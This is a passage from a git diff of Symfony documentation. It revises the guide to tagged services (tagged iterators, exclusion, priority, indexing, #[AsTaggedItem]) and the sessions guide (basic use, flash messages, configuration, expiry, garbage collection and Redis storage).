tag called 'app.mail_transport' with two attributes ('name' and 'alias') --> + <tag name="arbitrary-value" alias="smtp">app.mail_transport</tag> + </service> + </services> + </container> + .. tip:: In YAML format, you may provide the tag as a simple string as long as @@ -459,13 +609,13 @@ To answer this, change the service declaration: # config/services.yaml services: # Compact syntax - Swift_SendmailTransport: - class: \Swift_SendmailTransport + MailerSendmailTransport: + class: \MailerSendmailTransport tags: ['app.mail_transport'] # Verbose syntax - Swift_SendmailTransport: - class: \Swift_SendmailTransport + MailerSendmailTransport: + class: \MailerSendmailTransport tags: - { name: 'app.mail_transport' } @@ -478,7 +628,7 @@ use this, update the compiler:: class TransportCompilerPass implements CompilerPassInterface { - public function process(ContainerBuilder $container) + public function process(ContainerBuilder $container): void { // ... @@ -488,7 +638,7 @@ use this, update the compiler:: foreach ($tags as $attributes) { $definition->addMethodCall('addTransport', [ new Reference($id), - $attributes['alias'] + $attributes['alias'], ]); } } @@ -500,6 +650,8 @@ than one tag. You tag a service twice or more with the ``app.mail_transport`` tag. The second ``foreach`` loop iterates over the ``app.mail_transport`` tags set for the current service and gives you the attributes. +.. _tags_reference-tagged-services: + Reference Tagged Services ~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -507,11 +659,41 @@ Symfony provides a shortcut to inject all services tagged with a specific tag, which is a common need in some applications, so you don't have to write a compiler pass just for that. -In the following example, all services tagged with ``app.handler`` are passed as -first constructor argument to the ``App\HandlerCollection`` service: +Consider the following ``HandlerCollection`` class where you want to inject +all services tagged with ``app.handler`` into its constructor argument:: + + // src/HandlerCollection.php + namespace App; + + class HandlerCollection + { + public function __construct(iterable $handlers) + { + } + } + +Symfony allows you to inject the services using YAML/XML/PHP configuration or +directly via PHP attributes: .. configuration-block:: + .. code-block:: php-attributes + + // src/HandlerCollection.php + namespace App; + + use Symfony\Component\DependencyInjection\Attribute\AutowireIterator; + + class HandlerCollection + { + public function __construct( + // the attribute must be applied directly to the argument to autowire + #[AutowireIterator('app.handler')] + iterable $handlers + ) { + } + } + .. code-block:: yaml # config/services.yaml @@ -557,8 +739,8 @@ first constructor argument to the ``App\HandlerCollection`` service: // config/services.php namespace Symfony\Component\DependencyInjection\Loader\Configurator; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(App\Handler\One::class) ->tag('app.handler') @@ -574,18 +756,178 @@ first constructor argument to the ``App\HandlerCollection`` service: ; }; -After compilation the ``HandlerCollection`` service is able to iterate over your -application handlers:: +.. note:: - // src/HandlerCollection.php - namespace App; + Some IDEs will show an error when using ``#[AutowireIterator]`` together + with the `PHP constructor promotion`_: + *"Attribute cannot be applied to a property because it does not contain the 'Attribute::TARGET_PROPERTY' flag"*. + The reason is that those constructor arguments are both parameters and class + properties. You can safely ignore this error message. - class HandlerCollection - { - public function __construct(iterable $handlers) +If for some reason you need to exclude one or more services when using a tagged +iterator, add the ``exclude`` option: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/HandlerCollection.php + namespace App; + + use Symfony\Component\DependencyInjection\Attribute\AutowireIterator; + + class HandlerCollection { + public function __construct( + #[AutowireIterator('app.handler', exclude: ['App\Handler\Three'])] + iterable $handlers + ) { + } } - } + + .. code-block:: yaml + + # config/services.yaml + services: + # ... + + # This is the service we want to exclude, even if the 'app.handler' tag is attached + App\Handler\Three: + tags: ['app.handler'] + + App\HandlerCollection: + arguments: + - !tagged_iterator { tag: app.handler, exclude: ['App\Handler\Three'] } + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <!-- ... --> + + <!-- This is the service we want to exclude, even if the 'app.handler' tag is attached --> + <service id="App\Handler\Three"> + <tag name="app.handler"/> + </service> + + <service id="App\HandlerCollection"> + <!-- inject all services tagged with app.handler as first argument --> + <argument type="tagged_iterator" tag="app.handler"> + <exclude>App\Handler\Three</exclude> + </argument> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + return function(ContainerConfigurator $containerConfigurator) { + $services = $containerConfigurator->services(); + + // ... + + // This is the service we want to exclude, even if the 'app.handler' tag is attached + $services->set(App\Handler\Three::class) + ->tag('app.handler') + ; + + $services->set(App\HandlerCollection::class) + // inject all services tagged with app.handler as first argument + ->args([tagged_iterator('app.handler', exclude: [App\Handler\Three::class])]) + ; + }; + +In the case the referencing service is itself tagged with the tag being used in the tagged +iterator, it is automatically excluded from the injected iterable. This behavior can be +disabled by setting the ``exclude_self`` option to ``false``: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/HandlerCollection.php + namespace App; + + use Symfony\Component\DependencyInjection\Attribute\AutowireIterator; + + class HandlerCollection + { + public function __construct( + #[AutowireIterator('app.handler', exclude: ['App\Handler\Three'], excludeSelf: false)] + iterable $handlers + ) { + } + } + + .. code-block:: yaml + + # config/services.yaml + services: + # ... + + # This is the service we want to exclude, even if the 'app.handler' tag is attached + App\Handler\Three: + tags: ['app.handler'] + + App\HandlerCollection: + arguments: + - !tagged_iterator { tag: app.handler, exclude: ['App\Handler\Three'], exclude_self: false } + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <!-- ... --> + + <!-- This is the service we want to exclude, even if the 'app.handler' tag is attached --> + <service id="App\Handler\Three"> + <tag name="app.handler"/> + </service> + + <service id="App\HandlerCollection"> + <!-- inject all services tagged with app.handler as first argument --> + <argument type="tagged_iterator" tag="app.handler" exclude-self="false"> + <exclude>App\Handler\Three</exclude> + </argument> + </service> + </services> + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + return function(ContainerConfigurator $containerConfigurator) { + $services = $containerConfigurator->services(); + + // ... + + // This is the service we want to exclude, even if the 'app.handler' tag is attached + $services->set(App\Handler\Three::class) + ->tag('app.handler') + ; + + $services->set(App\HandlerCollection::class) + // inject all services tagged with app.handler as first argument + ->args([tagged_iterator('app.handler', exclude: [App\Handler\Three::class], excludeSelf: false)]) + ; + }; .. seealso:: @@ -594,8 +936,9 @@ application handlers:: Tagged Services with Priority ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -The tagged services can be prioritized using the ``priority`` attribute, -thus providing a way to inject a sorted collection of services: +The tagged services can be prioritized using the ``priority`` attribute. The +priority is a positive or negative integer that defaults to ``0``. The higher +the number, the earlier the tagged service will be located in the collection: .. configuration-block:: @@ -630,8 +973,8 @@ thus providing a way to inject a sorted collection of services: use App\Handler\One; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(One::class) ->tag('app.handler', ['priority' => 20]) @@ -643,7 +986,7 @@ tags, is to implement the static ``getDefaultPriority()`` method on the service itself:: // src/Handler/One.php - namespace App/Handler; + namespace App\Handler; class One { @@ -653,11 +996,28 @@ service itself:: } } -If you want to have another method defining the priority, you can define it -in the configuration of the collecting service: +If you want to have another method defining the priority +(e.g. ``getPriority()`` rather than ``getDefaultPriority()``), +you can define it in the configuration of the collecting service: .. configuration-block:: + .. code-block:: php-attributes + + // src/HandlerCollection.php + namespace App; + + use Symfony\Component\DependencyInjection\Attribute\AutowireIterator; + + class HandlerCollection + { + public function __construct( + #[AutowireIterator('app.handler', defaultPriorityMethod: 'getPriority')] + iterable $handlers + ) { + } + } + .. code-block:: yaml # config/services.yaml @@ -689,8 +1049,8 @@ in the configuration of the collecting service: use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument; - return function (ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function (ContainerConfigurator $container): void { + $services = $container->services(); // ... @@ -704,15 +1064,34 @@ in the configuration of the collecting service: Tagged Services with Index ~~~~~~~~~~~~~~~~~~~~~~~~~~ -If you want to retrieve a specific service within the injected collection -you can use the ``index_by`` and ``default_index_method`` options of the -argument in combination with ``!tagged_iterator``. +By default, tagged services are indexed using their service IDs. You can change +this behavior with two options of the tagged iterator (``index_by`` and +``default_index_method``) which can be used independently or combined. -Using the previous example, this service configuration creates a collection -indexed by the ``key`` attribute: +The ``index_by`` / ``indexAttribute`` Option +............................................ + +This option defines the name of the option/attribute that stores the value used +to index the services: .. configuration-block:: + .. code-block:: php-attributes + + // src/HandlerCollection.php + namespace App; + + use Symfony\Component\DependencyInjection\Attribute\AutowireIterator; + + class HandlerCollection + { + public function __construct( + #[AutowireIterator('app.handler', indexAttribute: 'key')] + iterable $handlers + ) { + } + } + .. code-block:: yaml # config/services.yaml @@ -761,8 +1140,8 @@ indexed by the ``key`` attribute: use App\Handler\Two; use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument; - return function (ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function (ContainerConfigurator $container): void { + $services = $container->services(); $services->set(One::class) ->tag('app.handler', ['key' => 'handler_one']); @@ -778,10 +1157,9 @@ indexed by the ``key`` attribute: ; }; -After compilation the ``HandlerCollection`` is able to iterate over your -application handlers. To retrieve a specific service by it's ``key`` attribute -from the iterator, we can use ``iterator_to_array`` and retrieve the ``handler_two``: -to get an array and then retrieve the ``handler_two`` handler:: +In this example, the ``index_by`` option is ``key``. All services define that +option/attribute, so that will be the value used to index the services. For example, +to get the ``App\Handler\Two`` service:: // src/Handler/HandlerCollection.php namespace App\Handler; @@ -790,84 +1168,140 @@ to get an array and then retrieve the ``handler_two`` handler:: { public function __construct(iterable $handlers) { - $handlers = iterator_to_array($handlers); + $handlers = $handlers instanceof \Traversable ? iterator_to_array($handlers) : $handlers; - $handlerTwo = $handlers['handler_two']: + // this value is defined in the `key` option of the service + $handlerTwo = $handlers['handler_two']; } } -.. tip:: +If some service doesn't define the option/attribute configured in ``index_by``, +Symfony applies this fallback process: - Just like the priority, you can also implement a static - ``getDefaultIndexAttributeName()`` method in the handlers and omit the - index attribute (``key``):: +#. If the service class defines a static method called ``getDefault<CamelCase index_by value>Name`` + (in this example, ``getDefaultKeyName()``), call it and use the returned value; +#. Otherwise, fall back to the default behavior and use the service ID. - // src/Handler/One.php - namespace App\Handler; +The ``default_index_method`` Option +................................... - class One +This option defines the name of the service class method that will be called to +get the value used to index the services: + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/HandlerCollection.php + namespace App; + + use Symfony\Component\DependencyInjection\Attribute\AutowireIterator; + + class HandlerCollection { - // ... - public static function getDefaultIndexName(): string - { - return 'handler_one'; + public function __construct( + #[AutowireIterator('app.handler', defaultIndexMethod: 'getIndex')] + iterable $handlers + ) { } } - You also can define the name of the static method to implement on each service - with the ``default_index_method`` attribute on the tagged argument: + .. code-block:: yaml - .. configuration-block:: + # config/services.yaml + services: + # ... - .. code-block:: yaml + App\HandlerCollection: + arguments: [!tagged_iterator { tag: 'app.handler', default_index_method: 'getIndex' }] - # config/services.yaml - services: - # ... + .. code-block:: xml - App\HandlerCollection: - # use getIndex() instead of getDefaultIndexName() - arguments: [!tagged_iterator { tag: 'app.handler', default_index_method: 'getIndex' }] + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> - .. code-block:: xml + <services> + <!-- ... --> - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> + <service id="App\HandlerCollection"> + <argument type="tagged_iterator" + tag="app.handler" + default-index-method="getIndex" + /> + </service> + </services> + </container> - <services> - <!-- ... --!> - - <service id="App\HandlerCollection"> - <!-- use getIndex() instead of getDefaultIndexName() --> - <argument type="tagged_iterator" - tag="app.handler" - default-index-method="someFunctionName" - /> - </service> - </services> - </container> + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use App\HandlerCollection; + use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument; + + return function (ContainerConfigurator $container) { + $services = $container->services(); + + // ... + + $services->set(HandlerCollection::class) + ->args([ + tagged_iterator('app.handler', null, 'getIndex'), + ]) + ; + }; + +If some service class doesn't define the method configured in ``default_index_method``, +Symfony will fall back to using the service ID as its index inside the tagged services. + +Combining the ``index_by`` and ``default_index_method`` Options +............................................................... + +You can combine both options in the same collection of tagged services. Symfony +will process them in the following order: + +#. If the service defines the option/attribute configured in ``index_by``, use it; +#. If the service class defines the method configured in ``default_index_method``, use it; +#. Otherwise, fall back to using the service ID as its index inside the tagged services collection. + +.. _tags_as-tagged-item: + +The ``#[AsTaggedItem]`` attribute +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +It is possible to define both the priority and the index of a tagged +item thanks to the ``#[AsTaggedItem]`` attribute. This attribute must +be used directly on the class of the service you want to configure:: + + // src/Handler/One.php + namespace App\Handler; + + use Symfony\Component\DependencyInjection\Attribute\AsTaggedItem; - .. code-block:: php + #[AsTaggedItem(index: 'handler_one', priority: 10)] + class One + { + // ... + } - // config/services.php - namespace Symfony\Component\DependencyInjection\Loader\Configurator; +You can apply the ``#[AsTaggedItem]`` attribute multiple times to register the +same service under different indexes:: - use App\HandlerCollection; - use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument; + #[AsTaggedItem(index: 'handler_one', priority: 5)] + #[AsTaggedItem(index: 'handler_two', priority: 20)] + class SomeService + { + // ... + } - return function (ContainerConfigurator $configurator) { - $services = $configurator->services(); +.. versionadded:: 7.3 - // ... + The feature to apply the ``#[AsTaggedItem]`` attribute multiple times was + introduced in Symfony 7.3. - // use getIndex() instead of getDefaultIndexName() - $services->set(HandlerCollection::class) - ->args([ - tagged_iterator('app.handler', null, 'getIndex'), - ]) - ; - }; +.. _`PHP constructor promotion`: https://www.php.net/manual/en/language.oop5.decon.php#language.oop5.decon.constructor.promotion diff --git a/session.rst b/session.rst index 47e8cc3d269..1594cc7eebe 100644 --- a/session.rst +++ b/session.rst @@ -1,15 +1,277 @@ Sessions ======== -Symfony provides a session object and several utilities that you can use to -store information about the user between requests. +The Symfony HttpFoundation component has a very powerful and flexible session +subsystem which is designed to provide session management that you can use to +store information about the user between requests through a clear +object-oriented interface using a variety of session storage drivers. + +Symfony sessions are designed to replace the usage of the ``$_SESSION`` super +global and native PHP functions related to manipulating the session like +``session_start()``, ``session_regenerate_id()``, ``session_id()``, +``session_name()``, and ``session_destroy()``. + +.. note:: + + Sessions are only started if you read or write from it. + +Installation +------------ + +You need to install the HttpFoundation component to handle sessions: + +.. code-block:: terminal + + $ composer require symfony/http-foundation + +.. _session-intro: + +Basic Usage +----------- + +The session is available through the ``Request`` object and the ``RequestStack`` +service. Symfony injects the ``request_stack`` service in services and controllers +if you type-hint an argument with :class:`Symfony\\Component\\HttpFoundation\\RequestStack`:: + +.. configuration-block:: + + .. code-block:: php-symfony + + use Symfony\Component\HttpFoundation\RequestStack; + + class SomeService + { + public function __construct( + private RequestStack $requestStack, + ) { + // Accessing the session in the constructor is *NOT* recommended, since + // it might not be accessible yet or lead to unwanted side-effects + // $this->session = $requestStack->getSession(); + } + + public function someMethod(): void + { + $session = $this->requestStack->getSession(); + + // ... + } + } + + .. code-block:: php-standalone + + use Symfony\Component\HttpFoundation\Session\Session; + + $session = new Session(); + $session->start(); + +From a Symfony controller, you can also type-hint an argument with +:class:`Symfony\\Component\\HttpFoundation\\Request`:: + + use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; + + public function index(Request $request): Response + { + $session = $request->getSession(); + + // ... + } + +Session Attributes +------------------ + +PHP's session management requires the use of the ``$_SESSION`` super-global. +However, this interferes with code testability and encapsulation in an OOP +paradigm. To help overcome this, Symfony uses *session bags* linked to the +session to encapsulate a specific dataset of **attributes**. + +This approach mitigates namespace pollution within the ``$_SESSION`` +super-global because each bag stores all its data under a unique namespace. +This allows Symfony to peacefully co-exist with other applications or libraries +that might use the ``$_SESSION`` super-global and all data remains completely +compatible with Symfony's session management. + +A session bag is a PHP object that acts like an array:: + + // stores an attribute for reuse during a later user request + $session->set('attribute-name', 'attribute-value'); + + // gets an attribute by name + $foo = $session->get('foo'); + + // the second argument is the value returned when the attribute doesn't exist + $filters = $session->get('filters', []); + +Stored attributes remain in the session for the remainder of that user's session. +By default, session attributes are key-value pairs managed with the +:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBag` +class. + +Sessions are automatically started whenever you read, write or even check for +the existence of data in the session. This may hurt your application performance +because all users will receive a session cookie. In order to prevent starting +sessions for anonymous users, you must *completely* avoid accessing the session. + +.. note:: + + Sessions will also be started when using features that rely on them internally, + such as the :ref:`stateful CSRF protection in forms <csrf-protection-forms>`. + +.. _flash-messages: + +Flash Messages +-------------- + +You can store special messages, called "flash" messages, on the user's session. +By design, flash messages are meant to be used exactly once: they vanish from +the session automatically as soon as you retrieve them. This feature makes +"flash" messages particularly great for storing user notifications. + +For example, imagine you're processing a :doc:`form </forms>` submission:: + +.. configuration-block:: + + .. code-block:: php-symfony + + use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; + // ... + + public function update(Request $request): Response + { + // ... + + if ($form->isSubmitted() && $form->isValid()) { + // do some sort of processing + + $this->addFlash( + 'notice', + 'Your changes were saved!' + ); + // $this->addFlash() is equivalent to $request->getSession()->getFlashBag()->add() + + return $this->redirectToRoute(/* ... */); + } + + return $this->render(/* ... */); + } + + .. code-block:: php-standalone + + use Symfony\Component\HttpFoundation\Session\Session; + + $session = new Session(); + $session->start(); + + // retrieve the flash messages bag + $flashes = $session->getFlashBag(); + + // add flash messages + $flashes->add( + 'notice', + 'Your changes were saved' + ); + +After processing the request, the controller sets a flash message in the +session and then redirects. The message key (``notice`` in this example) +can be anything. You'll use this key to retrieve the message. + +In the template of the next page (or even better, in your base layout template), +read any flash messages from the session using the ``flashes()`` method provided +by the :ref:`Twig global app variable <twig-app-variable>`. +Alternatively, you can use the +:method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peek` +method to retrieve the message while keeping it in the bag: + +.. configuration-block:: + + .. code-block:: html+twig + + {# templates/base.html.twig #} + + {# read and display just one flash message type #} + {% for message in app.flashes('notice') %} + <div class="flash-notice"> + {{ message }} + </div> + {% endfor %} + + {# same but without clearing them from the flash bag #} + {% for message in app.session.flashbag.peek('notice') %} + <div class="flash-notice"> + {{ message }} + </div> + {% endfor %} + + {# read and display several types of flash messages #} + {% for label, messages in app.flashes(['success', 'warning']) %} + {% for message in messages %} + <div class="flash-{{ label }}"> + {{ message }} + </div> + {% endfor %} + {% endfor %} + + {# read and display all flash messages #} + {% for label, messages in app.flashes %} + {% for message in messages %} + <div class="flash-{{ label }}"> + {{ message }} + </div> + {% endfor %} + {% endfor %} + + {# or without clearing the flash bag #} + {% for label, messages in app.session.flashbag.peekAll() %} + {% for message in messages %} + <div class="flash-{{ label }}"> + {{ message }} + </div> + {% endfor %} + {% endfor %} + + .. code-block:: php-standalone + + // display warnings + foreach ($session->getFlashBag()->get('warning', []) as $message) { + echo '<div class="flash-warning">'.$message.'</div>'; + } + + // display warnings without clearing them from the flash bag + foreach ($session->getFlashBag()->peek('warning', []) as $message) { + echo '<div class="flash-warning">'.$message.'</div>'; + } + + // display errors + foreach ($session->getFlashBag()->get('error', []) as $message) { + echo '<div class="flash-error">'.$message.'</div>'; + } + + // display all flashes at once + foreach ($session->getFlashBag()->all() as $type => $messages) { + foreach ($messages as $message) { + echo '<div class="flash-'.$type.'">'.$message.'</div>'; + } + } + + // display all flashes at once without clearing the flash bag + foreach ($session->getFlashBag()->peekAll() as $type => $messages) { + foreach ($messages as $message) { + echo '<div class="flash-'.$type.'">'.$message.'</div>'; + } + } + +It's common to use ``notice``, ``warning`` and ``error`` as the keys of the +different types of flash messages, but you can use any key that fits your +needs. Configuration ------------- -Sessions are provided by the `HttpFoundation component`_, which is included in -all Symfony applications, no matter how you installed it. Before using the -sessions, check their default configuration: +In the Symfony framework, sessions are enabled by default. Session storage and +other configuration can be controlled under the :ref:`framework.session +configuration <config-framework-session>` in +``config/packages/framework.yaml``: .. configuration-block:: @@ -17,15 +279,16 @@ sessions, check their default configuration: # config/packages/framework.yaml framework: + # Enables session support. Note that the session will ONLY be started if you read or write from it. + # Remove or comment this section to explicitly disable session support. session: - # enables the support of sessions in the app - enabled: true - # ID of the service used for session storage. + # ID of the service used for session storage # NULL means that Symfony uses PHP default session mechanism handler_id: null # improves the security of the cookies used for sessions - cookie_secure: 'auto' - cookie_samesite: 'lax' + cookie_secure: auto + cookie_samesite: lax + storage_factory_id: session.storage.factory.native .. code-block:: xml @@ -40,38 +303,57 @@ sessions, check their default configuration: <framework:config> <!-- - enabled: enables the support of sessions in the app + Enables session support. Note that the session will ONLY be started if you read or write from it. + Remove or comment this section to explicitly disable session support. handler-id: ID of the service used for session storage NULL means that Symfony uses PHP default session mechanism cookie-secure and cookie-samesite: improves the security of the cookies used for sessions --> - <framework:session enabled="true" - handler-id="null" + <framework:session handler-id="null" cookie-secure="auto" - cookie-samesite="lax"/> + cookie-samesite="lax" + storage_factory_id="session.storage.factory.native"/> </framework:config> </container> .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'session' => [ - // enables the support of sessions in the app - 'enabled' => true, + use Symfony\Component\HttpFoundation\Cookie; + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->session() + // Enables session support. Note that the session will ONLY be started if you read or write from it. + // Remove or comment this section to explicitly disable session support. + ->enabled(true) // ID of the service used for session storage // NULL means that Symfony uses PHP default session mechanism - 'handler_id' => null, + ->handlerId(null) // improves the security of the cookies used for sessions - 'cookie_secure' => 'auto', - 'cookie_samesite' => 'lax', - ], + ->cookieSecure('auto') + ->cookieSamesite(Cookie::SAMESITE_LAX) + ->storageFactoryId('session.storage.factory.native') + ; + }; + + .. code-block:: php-standalone + + use Symfony\Component\HttpFoundation\Cookie; + use Symfony\Component\HttpFoundation\Session\Attribute\AttributeBag; + use Symfony\Component\HttpFoundation\Session\Session; + use Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage; + + $storage = new NativeSessionStorage([ + 'cookie_secure' => 'auto', + 'cookie_samesite' => Cookie::SAMESITE_LAX, ]); + $session = new Session($storage); Setting the ``handler_id`` config option to ``null`` means that Symfony will use the native PHP session mechanism. The session metadata files will be stored outside of the Symfony application, in a directory controlled by PHP. Although -this usually simplify things, some session expiration related options may not +this usually simplifies things, some session expiration related options may not work as expected if other applications that write to the same directory have short max lifetime settings. @@ -112,115 +394,1494 @@ session metadata files: .. code-block:: php // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'session' => [ + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + $framework->session() // ... - 'handler_id' => 'session.handler.native_file', - 'save_path' => '%kernel.project_dir%/var/sessions/%kernel.environment%', - ], - ]); + ->handlerId('session.handler.native_file') + ->savePath('%kernel.project_dir%/var/sessions/%kernel.environment%') + ; + }; + + .. code-block:: php-standalone + + use Symfony\Component\HttpFoundation\Cookie; + use Symfony\Component\HttpFoundation\Session\Attribute\AttributeBag; + use Symfony\Component\HttpFoundation\Session\Session; + use Symfony\Component\HttpFoundation\Session\Storage\Handler\NativeFileSessionHandler; + use Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage; + + $handler = new NativeFileSessionHandler('/var/sessions'); + $storage = new NativeSessionStorage([], $handler); + $session = new Session($storage); Check out the Symfony config reference to learn more about the other available -:ref:`Session configuration options <config-framework-session>`. You can also -:doc:`store sessions in a database </session/database>`. +:ref:`Session configuration options <config-framework-session>`. -Basic Usage ------------ +.. warning:: -Symfony provides a session service that is injected in your services and -controllers if you type-hint an argument with -:class:`Symfony\\Component\\HttpFoundation\\Session\\SessionInterface`:: + Symfony sessions are incompatible with ``php.ini`` directive + ``session.auto_start = 1`` This directive should be turned off in + ``php.ini``, in the web server directives or in ``.htaccess``. - use Symfony\Component\HttpFoundation\Session\SessionInterface; +.. deprecated:: 7.2 - class SomeService - { - private $session; + The ``sid_length`` and ``sid_bits_per_character`` options were deprecated + in Symfony 7.2 and will be ignored in Symfony 8.0. - public function __construct(SessionInterface $session) - { - $this->session = $session; - } +The session cookie is also available in :ref:`the Response object <component-http-foundation-response>`. +This is useful to get that cookie in the CLI context or when using PHP runners +like Roadrunner or Swoole. - public function someMethod() - { - // stores an attribute in the session for later reuse - $this->session->set('attribute-name', 'attribute-value'); +Session Idle Time/Keep Alive +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - // gets an attribute by name - $foo = $this->session->get('foo'); +There are often circumstances where you may want to protect, or minimize +unauthorized use of a session when a user steps away from their terminal while +logged in by destroying the session after a certain period of idle time. For +example, it is common for banking applications to log the user out after just +5 to 10 minutes of inactivity. Setting the cookie lifetime here is not +appropriate because that can be manipulated by the client, so we must do the expiry +on the server side. The easiest way is to implement this via :ref:`session garbage collection <session-garbage-collection>` +which runs reasonably frequently. The ``cookie_lifetime`` would be set to a +relatively high value, and the garbage collection ``gc_maxlifetime`` would be set +to destroy sessions at whatever the desired idle period is. - // the second argument is the value returned when the attribute doesn't exist - $filters = $this->session->get('filters', []); +The other option is specifically check if a session has expired after the +session is started. The session can be destroyed as required. This method of +processing can allow the expiry of sessions to be integrated into the user +experience, for example, by displaying a message. - // ... - } +Symfony records some metadata about each session to give you fine control over +the security settings:: + + $session->getMetadataBag()->getCreated(); + $session->getMetadataBag()->getLastUsed(); + +Both methods return a Unix timestamp (relative to the server). + +This metadata can be used to explicitly expire a session on access:: + + $session->start(); + if (time() - $session->getMetadataBag()->getLastUsed() > $maxIdleTime) { + $session->invalidate(); + throw new SessionExpired(); // redirect to expired session page } +It is also possible to tell what the ``cookie_lifetime`` was set to for a +particular cookie by reading the ``getLifetime()`` method:: + + $session->getMetadataBag()->getLifetime(); + +The expiry time of the cookie can be determined by adding the created +timestamp and the lifetime. + +.. _session-garbage-collection: + +Configuring Garbage Collection +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +When a session opens, PHP will call the ``gc`` handler randomly according to the +probability set by ``session.gc_probability`` / ``session.gc_divisor``. For +example if these were set to ``5/100`` respectively, it would mean a probability +of 5%. Similarly, ``3/4`` would mean a 3 in 4 chance of being called, i.e. 75%. + +If the garbage collection handler is invoked, PHP will pass the value stored in +the ``php.ini`` directive ``session.gc_maxlifetime``. The meaning in this context is +that any stored session that was saved more than ``gc_maxlifetime`` ago should be +deleted. This allows one to expire records based on idle time. + +However, some operating systems (e.g. Debian) manage session handling differently +and set the ``session.gc_probability`` variable to ``0`` to prevent PHP from performing +garbage collection. By default, Symfony uses the value of the ``gc_probability`` +directive set in the ``php.ini`` file. If you can't modify this PHP setting, you +can configure it directly in Symfony: + +.. code-block:: yaml + + # config/packages/framework.yaml + framework: + session: + # ... + gc_probability: 1 + +Alternatively, you can configure these settings by passing ``gc_probability``, +``gc_divisor`` and ``gc_maxlifetime`` in an array to the constructor of +:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage` +or to the :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage::setOptions` +method. + +.. versionadded:: 7.2 + + Using the ``php.ini`` directive as the default value for ``gc_probability`` + was introduced in Symfony 7.2. + +.. _session-database: + +Store Sessions in a Database +---------------------------- + +Symfony stores sessions in files by default. If your application is served by +multiple servers, you'll need to use a database instead to make sessions work +across different servers. + +Symfony can store sessions in all kinds of databases (relational, NoSQL and +key-value) but recommends key-value databases like Redis to get best +performance. + +Store Sessions in a key-value Database (Redis) +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +This section assumes that you have a fully-working Redis server and have also +installed and configured the `phpredis extension`_. + +You have two different options to use Redis to store sessions: + +The first PHP-based option is to configure Redis session handler directly +in the server ``php.ini`` file: + +.. code-block:: ini + + ; php.ini + session.save_handler = redis + session.save_path = "tcp://192.168.0.178:6379?auth=REDIS_PASSWORD" + +The second option is to configure Redis sessions in Symfony. First, define +a Symfony service for the connection to the Redis server: + +.. configuration-block:: + + .. code-block:: yaml + + # config/services.yaml + services: + # ... + Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler: + arguments: + - '@Redis' + # you can optionally pass an array of options. The only options are 'prefix' and 'ttl', + # which define the prefix to use for the keys to avoid collision on the Redis server + # and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null: + # - { 'prefix': 'my_prefix', 'ttl': 600 } + + Redis: + # you can also use \RedisArray, \RedisCluster, \Relay\Relay or \Predis\Client classes + class: \Redis + calls: + - connect: + - '%env(REDIS_HOST)%' + - '%env(int:REDIS_PORT)%' + + # uncomment the following if your Redis server requires a password + # - auth: + # - '%env(REDIS_PASSWORD)%' + + # uncomment the following if your Redis server requires a user and a password (when user is not default) + # - auth: + # - ['%env(REDIS_USER)%','%env(REDIS_PASSWORD)%'] + + .. code-block:: xml + + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + 